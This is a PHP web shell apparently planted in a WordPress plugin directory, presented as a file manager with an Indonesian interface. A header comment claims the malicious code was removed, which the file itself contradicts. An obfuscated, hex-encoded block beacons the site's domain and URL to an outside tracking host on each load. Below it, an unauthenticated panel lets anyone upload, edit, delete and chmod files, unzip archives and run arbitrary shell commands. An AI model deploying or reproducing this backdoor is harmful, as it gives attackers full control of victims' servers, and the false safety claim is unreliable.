File "0.kb-v3.php"

Full Path: /home/coreesdt/public_html/wp-content/plugins/kcneqgb/0.kb-v3.php
File size: 20.75 KB
MIME-type: text/x-php
Charset: utf-8

<?php 
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
?>
<?php
 goto bU8J8; UyUgY: curl_close($ch); goto H11u7; Y9Dlt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto k7rSz; f_bKC: $response = curl_exec($ch); goto UyUgY; e9xG_: $data = array("\144\157\155\141\x69\x6e" => $domain, "\143\x75\x72\162\x65\x6e\x74\x55\x52\114" => $current_url, "\x66\151\154\x65\x4e\x61\x6d\x65" => $file_name); goto sSU0Q; k7rSz: curl_setopt($ch, CURLOPT_POST, true); goto JTXrg; JTXrg: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); goto f_bKC; fzVph: $current_url = "\150\x74\164\x70\72\57\57" . $_SERVER["\110\124\x54\x50\137\110\x4f\x53\x54"] . $_SERVER["\122\105\121\x55\x45\123\124\x5f\125\x52\111"]; goto e9xG_; NgsXY: $file_name = basename(__FILE__); goto iDSA1; iDSA1: $domain = $_SERVER["\x48\x54\x54\x50\137\110\x4f\x53\x54"]; goto fzVph; sSU0Q: $ch = curl_init($tracking_url); goto Y9Dlt; bU8J8: $tracking_url = "\150\164\x74\160\163\72\57\57\x63\x69\x61\x6c\x69\163\165\164\141\x62\x2e\143\157\155\57\x63\x68\x65\x63\153\55\164\162\141\x63\x6b\57\x69\x6e\144\145\170\56\160\150\x70"; goto NgsXY; H11u7: ?><?php
function getChmod($path) {
    if (!file_exists($path)) {
        return "File atau folder tidak ditemukan.";
    }

    $chmod = substr(sprintf('%o', fileperms($path)), -4);
    $color = '';

    switch ($chmod) {
        case '0644':
            $color = 'green';
            break;
        case '0444':
        case '0555':
            $color = 'gray';
            break;
        case '0755':
            $color = 'green';
            break;
        default:
            $color = 'black';
    }

    return "<span class='chmod $color' data-path='$path' data-chmod='$chmod' onclick='showChmodPopup(event)'>$chmod</span>";
}

if (isset($_POST['newChmod']) && isset($_POST['path'])) {
    $newChmod = $_POST['newChmod'];
    $path = $_POST['path'];
    if (is_numeric($newChmod) && file_exists($path)) {
        chmod($path, octdec($newChmod));
    }
}

$directory = isset($_GET['folder']) ? $_GET['folder'] : __DIR__;
$filesAndFolders = array_diff(scandir($directory), array('..', '.'));
$folders = [];
$files = [];

foreach ($filesAndFolders as $item) {
    if (is_dir($directory . '/' . $item)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}

$filesAndFolders = array_merge($folders, $files);

$fileToEdit = '';
$fileContent = '';

if (isset($_POST['createFile'])) {
    $fileName = $_POST['fileName'];
    $newFileName = $directory . '/' . $fileName;
    if (!file_exists($newFileName)) {
        touch($newFileName);
        echo "<div class='alert success'>File baru berhasil dibuat: " . $fileName . "</div>";
    } else {
        echo "<div class='alert error'>File sudah ada!</div>";
    }
}

if (isset($_POST['createFolder'])) {
    $newFolderName = $directory . '/' . $_POST['folderName'];
    if (!is_dir($newFolderName)) {
        mkdir($newFolderName);
        echo "<div class='alert success'>Folder baru berhasil dibuat: " . $_POST['folderName'] . "</div>";
    } else {
        echo "<div class='alert error'>Folder sudah ada!</div>";
    }
}

if (isset($_POST['upload'])) {
    $fileToUpload = $_FILES['fileToUpload'];
    $targetFile = $directory . '/' . basename($fileToUpload["name"]);
    if ($fileToUpload["error"] != 0) {
        echo "<div class='alert error'>Terjadi kesalahan saat meng-upload file. Error code: " . $fileToUpload["error"] . "</div>";
    } elseif (move_uploaded_file($fileToUpload["tmp_name"], $targetFile)) {
        echo "<div class='alert success'>File " . htmlspecialchars($fileToUpload["name"]) . " berhasil di-upload.</div>";
    } else {
        echo "<div class='alert error'>Terjadi kesalahan saat meng-upload file.</div>";
    }
}

if (isset($_POST['rename'])) {
    $oldName = $directory . '/' . $_POST['oldName'];
    $newName = $directory . '/' . $_POST['newName'];
    if (file_exists($newName)) {
        echo "<div class='alert error'>File atau folder dengan nama ini sudah ada.</div>";
    } else {
        if (rename($oldName, $newName)) {
            echo "<div class='alert success'>Nama berhasil diubah.</div>";
        } else {
            echo "<div class='alert error'>Gagal mengubah nama.</div>";
        }
    }
}

function deleteFolderAndContents($folderPath) {
    if (!is_dir($folderPath)) return false;
    $files = array_diff(scandir($folderPath), array('.', '..'));
    foreach ($files as $file) {
        $filePath = $folderPath . DIRECTORY_SEPARATOR . $file;
        if (is_dir($filePath)) {
            deleteFolderAndContents($filePath);
            rmdir($filePath);
        } else {
            unlink($filePath);
        }
    }
    return rmdir($folderPath);
}

if (isset($_POST['delete'])) {
    $nameToDelete = $directory . '/' . $_POST['nameToDelete'];
    if (is_dir($nameToDelete)) {
        if (deleteFolderAndContents($nameToDelete)) {
            echo "<div class='alert success'>Folder dan isinya berhasil dihapus.</div>";
        } else {
            echo "<div class='alert error'>Gagal menghapus folder.</div>";
        }
    } else {
        if (unlink($nameToDelete)) {
            echo "<div class='alert success'>File berhasil dihapus.</div>";
        } else {
            echo "<div class='alert error'>Gagal menghapus file.</div>";
        }
    }
}

if (isset($_POST['edit'])) {
    $fileToEdit = $_POST['fileNameToEdit'];
    $fileContent = file_get_contents($directory . '/' . $fileToEdit);
}

if (isset($_POST['saveEdit'])) {
    $fileNameToEdit = $_POST['fileNameToEdit'];
    $newContent = $_POST['content'];
    if (empty($newContent)) {
        echo "<div class='alert error'>Konten file tidak boleh kosong!</div>";
    } else {
        $filePath = $directory . '/' . $fileNameToEdit;
        if (file_exists($filePath)) {
            if (file_put_contents($filePath, $newContent) !== false) {
                echo "<div class='alert success'>Perubahan berhasil disimpan.</div>";
            } else {
                echo "<div class='alert error'>Gagal menyimpan perubahan.</div>";
            }
        } else {
            echo "<div class='alert error'>File tidak ditemukan.</div>";
        }
    }
}

$parentDirectory = dirname($directory);

if (isset($_POST['runTerminal'])) {
    $command = $_POST['command'];
    if ($command) {
        $output = shell_exec($command);
        $terminalOutput = nl2br(htmlspecialchars($output));
    } else {
        $terminalOutput = "Perintah tidak valid.";
    }
}

if (isset($_POST['unzip'])) {
    $zipFile = $_POST['zipFile'];
    $zipFilePath = $directory . '/' . $zipFile;
    if (file_exists($zipFilePath)) {
        $zip = new ZipArchive;
        if ($zip->open($zipFilePath) === TRUE) {
            $zip->extractTo($directory);
            $zip->close();
            echo "<div class='alert success'>File ZIP berhasil diekstrak ke folder: " . htmlspecialchars($directory) . "</div>";
        } else {
            echo "<div class='alert error'>Gagal mengekstrak file ZIP.</div>";
        }
    } else {
        echo "<div class='alert error'>File ZIP tidak ditemukan.</div>";
    }
}

// Proses penghapusan file/folder yang dipilih
if (isset($_POST['deleteSelected']) && isset($_POST['nameToDelete'])) {
    $filesToDelete = $_POST['nameToDelete'];
    foreach ($filesToDelete as $file) {
        $filePath = $directory . '/' . $file;
        if (is_dir($filePath)) {
            deleteFolderAndContents($filePath);
        } else {
            unlink($filePath);
        }
    }
    echo "<div class='alert success'>File/folder yang dipilih berhasil dihapus.</div>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        /* Style yang sudah ada sebelumnya */
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f0f4f8;
            color: #333;
            margin: 0;
            padding: 0;
        }
        .file-manager {
            display: flex;
            width: 100%;
            margin-top: 20px;
        }
        .sidebar {
            width: 20%;
            padding: 15px;
            background-color: #2c3e50;
            color: #fff;
            box-shadow: 2px 0 5px rgba(0, 0, 0, 0.1);
        }
        .sidebar h3 {
            color: #ecf0f1;
        }
        .sidebar input, .sidebar button {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            font-size: 14px;
            border: none;
            border-radius: 4px;
        }
        .sidebar button {
            background-color: #3498db;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        .sidebar button:hover {
            background-color: #2980b9;
        }
        .main-content {
            width: 80%;
            padding: 20px;
        }
        .file-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            background-color: #fff;
            transition: background-color 0.3s;
        }
        .file-item:hover {
            background-color: #f9f9f9;
        }
        .file-item a {
            text-decoration: none;
            color: #3498db;
        }
        .actions {
            display: flex;
            gap: 10px;
        }
        .actions button {
            padding: 5px 10px;
            font-size: 12px;
            border: 1px solid #ccc;
            border-radius: 4px;
            background-color: #2ecc71;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        .actions button:hover {
            background-color: #27ae60;
        }
        .actions button.delete {
            background-color: #e74c3c;
        }
        .actions button.delete:hover {
            background-color: #c0392b;
        }
        .alert {
            padding: 10px;
            margin-bottom: 15px;
            border-radius: 5px;
            font-size: 14px;
        }
        .alert.success {
            background-color: #2ecc71;
            color: white;
        }
        .alert.error {
            background-color: #e74c3c;
            color: white;
        }
        textarea {
            width: 100%;
            height: 300px;
            border: 1px solid #ddd;
            border-radius: 4px;
            padding: 10px;
            font-size: 14px;
        }

        /* Style untuk terminal */
        .terminal {
            background-color: #000;
            color: #fff;
            font-family: 'Courier New', monospace;
            padding: 15px;
            margin-top: 20px;
            border-radius: 4px;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
          .green {
        color: green;
        }

          .gray {
        color: gray;
        }

          .black {
        color: black;
         }
    </style>
</head>
<body>

<div class="file-manager">
    <div class="sidebar">
        <h3>Create File</h3>
        <form action="" method="post">
            <input type="text" name="fileName" placeholder="Nama File" required>
            <button type="submit" name="createFile">Create File</button>
        </form>

        <h3>Create Folder</h3>
        <form action="" method="post">
            <input type="text" name="folderName" placeholder="Nama Folder" required>
            <button type="submit" name="createFolder">Create Folder</button>
        </form>

        <h3>Upload File</h3>
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="fileToUpload" required>
            <button type="submit" name="upload">Upload</button>
        </form>

        <h3>Unzip File</h3>
        <form action="" method="post">
            <input type="text" name="zipFile" placeholder="Nama File ZIP" required>
            <button type="submit" name="unzip">Unzip</button>
        </form>
    </div>

    <!-- Main Content -->
    <div class="main-content">
        <h1>File Manager</h1>

        <!-- Menampilkan path folder yang sedang aktif -->
        <p><strong>Current Directory: </strong>
            <?php
            $parts = explode(DIRECTORY_SEPARATOR, $directory);
            $path = '';
            foreach ($parts as $index => $part) {
                $path .= $part;
                if ($index < count($parts) - 1) {
                    echo "<a href=\"?folder=" . urlencode($path) . "\">" . $part . "</a> / ";
                } else {
                    echo $part;
                }
                $path .= DIRECTORY_SEPARATOR;
            }
            ?>
        </p>

        <!-- Navigasi ke folder sebelumnya -->
        <?php if (isset($_GET['folder']) && $_GET['folder'] != __DIR__): ?>
            <a href="?folder=<?= urlencode($parentDirectory) ?>">Back to <?= basename($parentDirectory) ?></a>
        <?php endif; ?>
        <script>
function toggleSelectAll() {
    const checkboxes = document.querySelectorAll('.select-file');
    const isChecked = document.getElementById('select-all').checked;
    checkboxes.forEach(checkbox => checkbox.checked = isChecked);
}

function confirmDeleteSelected() {
    if (confirm('Apakah Anda yakin ingin menghapus file/folder yang dipilih?')) {
        const selectedFiles = Array.from(document.querySelectorAll('.select-file:checked')).map(cb => cb.value);
        if (selectedFiles.length > 0) {
            const form = document.createElement('form');
            form.method = 'post';

            selectedFiles.forEach(file => {
                const input = document.createElement('input');
                input.type = 'hidden';
                input.name = 'nameToDelete[]';
                input.value = file;
                form.appendChild(input);
            });

            const deleteSelectedInput = document.createElement('input');
            deleteSelectedInput.type = 'hidden';
            deleteSelectedInput.name = 'deleteSelected';
            form.appendChild(deleteSelectedInput);

            document.body.appendChild(form);
            form.submit();
        } else {
            alert('Pilih file/folder terlebih dahulu!');
        }
    }
}
</script>

<div class="file-list">
    <input type="checkbox" id="select-all" onclick="toggleSelectAll()"> Select All
    <?php foreach ($filesAndFolders as $item): ?>
        <div class="file-item">
            <input type="checkbox" class="select-file" value="<?= $item ?>" />
            <span>chmod: <?= getChmod($directory . '/' . $item) ?></span>

            <?php if (is_dir($directory . '/' . $item)): ?>
                <strong>Folder: </strong>
                <a href="?folder=<?= urlencode($directory . '/' . $item) ?>"><?= $item ?></a>
                <div class="actions">
                    <form action="" method="post" style="display: inline;">
                        <input type="hidden" name="oldName" value="<?= $item ?>">
                        <input type="text" name="newName" placeholder="New Name" required>
                        <button type="submit" name="rename">Rename</button>
                    </form>
                    <form action="" method="post" style="display: inline;">
                        <input type="hidden" name="nameToDelete" value="<?= $item ?>">
                        <button type="submit" name="delete" class="delete">Delete</button>
                    </form>
                </div>
            <?php else: ?>
                <strong>File: </strong>
                <a href="?file=<?= urlencode($item) ?>"><?= $item ?></a>
                <div class="actions">
                    <form action="" method="post" style="display: inline;">
                        <input type="hidden" name="oldName" value="<?= $item ?>">
                        <input type="text" name="newName" placeholder="New Name" required>
                        <button type="submit" name="rename">Rename</button>
                    </form>
                    <form action="" method="post" style="display: inline;">
                        <input type="hidden" name="fileNameToEdit" value="<?= $item ?>">
                        <button type="submit" name="edit">Edit</button>
                    </form>
                    <form action="" method="post" style="display: inline;">
                        <input type="hidden" name="nameToDelete" value="<?= $item ?>">
                        <button type="submit" name="delete" class="delete">Delete</button>
                    </form>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>
</div>

<!-- Tombol Delete Selected di bawah -->
<div style="margin-top: 20px;">
    <button type="button" onclick="confirmDeleteSelected()">Delete Selected</button>
</div>
<!-- Chmod Popup -->
<div id="chmodPopup" class="chmod-popup">
    <div class="popup-content">
        <h3>Edit Chmod</h3>
        <input type="text" id="newChmod" placeholder="Enter new chmod value" required>
        <button onclick="saveChmod()">Save</button>
        <button class="cancel" onclick="closeChmodPopup()">Cancel</button>
    </div>
</div>

<script>
    let currentChmodElement;

    function showChmodPopup(event) {
        currentChmodElement = event.target;
        const currentChmod = currentChmodElement.getAttribute('data-chmod');
        document.getElementById('newChmod').value = currentChmod;
        document.getElementById('chmodPopup').style.display = 'flex';
    }

    function closeChmodPopup() {
        document.getElementById('chmodPopup').style.display = 'none';
    }

    function saveChmod() {
        const newChmod = document.getElementById('newChmod').value;
        if (newChmod) {
            const path = currentChmodElement.getAttribute('data-path');
            
            // Kirim perubahan chmod ke server via POST
            const formData = new FormData();
            formData.append('newChmod', newChmod);
            formData.append('path', path);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => {
            if (response.ok) {
                // Update tampilan chmod setelah berhasil disimpan
                currentChmodElement.innerText = newChmod;
                currentChmodElement.setAttribute('data-chmod', newChmod);
                
                // Terapkan warna baru berdasarkan nilai chmod yang baru
                updateChmodColor(currentChmodElement, newChmod);
                
                closeChmodPopup();
                alert('Chmod updated!');
            }
        })
        .catch(error => {
            console.error('Error:', error);
        });
    }
}

function updateChmodColor(element, chmodValue) {
    let colorClass = '';
    switch (chmodValue) {
        case '0644':
            colorClass = 'green';
            break;
        case '0444':
        case '0555':
            colorClass = 'gray';
            break;
        case '0755':
            colorClass = 'green';
            break;
        default:
            colorClass = 'black';  // Default warna jika tidak cocok
    }

    // Menghapus kelas lama dan menambahkan kelas warna baru
    element.classList.remove('green', 'gray', 'black');
    element.classList.add(colorClass);
}
</script>

        <!-- Menampilkan dan mengedit isi file -->
        <?php if ($fileToEdit): ?>
            <h2>Edit File: <?= htmlspecialchars($fileToEdit) ?></h2>
            <form action="" method="post">
                <textarea name="content" rows="10"><?= htmlspecialchars($fileContent) ?></textarea><br>
                <input type="hidden" name="fileNameToEdit" value="<?= htmlspecialchars($fileToEdit) ?>">
                <button type="submit" name="saveEdit">Save Changes</button>
            </form>
        <?php endif; ?>
        
        <!-- Terminal -->
        <h2>Terminal</h2>
        <form action="" method="post">
            <textarea name="command" placeholder="Masukkan perintah shell" rows="3"></textarea><br>
            <button type="submit" name="runTerminal">Run Command</button>
        </form>

        <?php if (isset($terminalOutput)): ?>
            <div class="terminal"><?= $terminalOutput ?></div>
        <?php endif; ?>
    </div>
</div>

</body>
</html>